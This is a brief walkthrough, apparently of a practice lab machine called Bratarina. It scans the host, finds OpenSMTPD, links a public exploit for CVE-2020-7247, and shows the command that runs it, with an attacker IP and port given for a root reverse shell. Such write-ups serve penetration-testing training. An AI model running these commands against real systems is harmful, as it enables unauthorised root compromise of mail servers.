# Bratarina

## nmap

```
mkdir nmap 
sudo rustscan -a 192.168.225.71 --ulimit 5000 -- -T4 -A -oA nmap/all-ports-vuln-scan --script vuln 
```

OpenSMTPD is open on port 25

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MkS0R6xuVHY0Brq-H7z%2F-MkS12Hf8mapKs9BtU7o%2Fimage.png?alt=media&#x26;token=269d2b1c-0da6-4432-9b33-8aa51f5e4750" alt=""></div>

There's a possible RCE on this particular service.&#x20;

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MkS0R6xuVHY0Brq-H7z%2F-MkS1cmRfA6Ol9tkaK-M%2Fimage.png?alt=media&#x26;token=128b4ff4-6e9c-482f-ab1d-5c43b5854ec1" alt=""></div>

After doing some GoogleFu, I found this better version of the exploit: [https://github.com/QTranspose/CVE-2020-7247-exploit](https://github.com/QTranspose/CVE-2020-7247-exploit)

## Exploitation

Copy the main.py file in your local machine. And install `pwntools`

```
pip3 install pwntools
```

Run the exploit

```
sudo python exploit.py 192.168.225.71 25 192.168.49.225 80 root
```

And you should get your root shell.&#x20;

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MkS0R6xuVHY0Brq-H7z%2F-MkS2wCtmdU_CEbvaFdl%2Fimage.png?alt=media&#x26;token=d6f4aefd-3e0a-4d83-881c-6a449fb535ad" alt=""></div>

Thanks for reading!
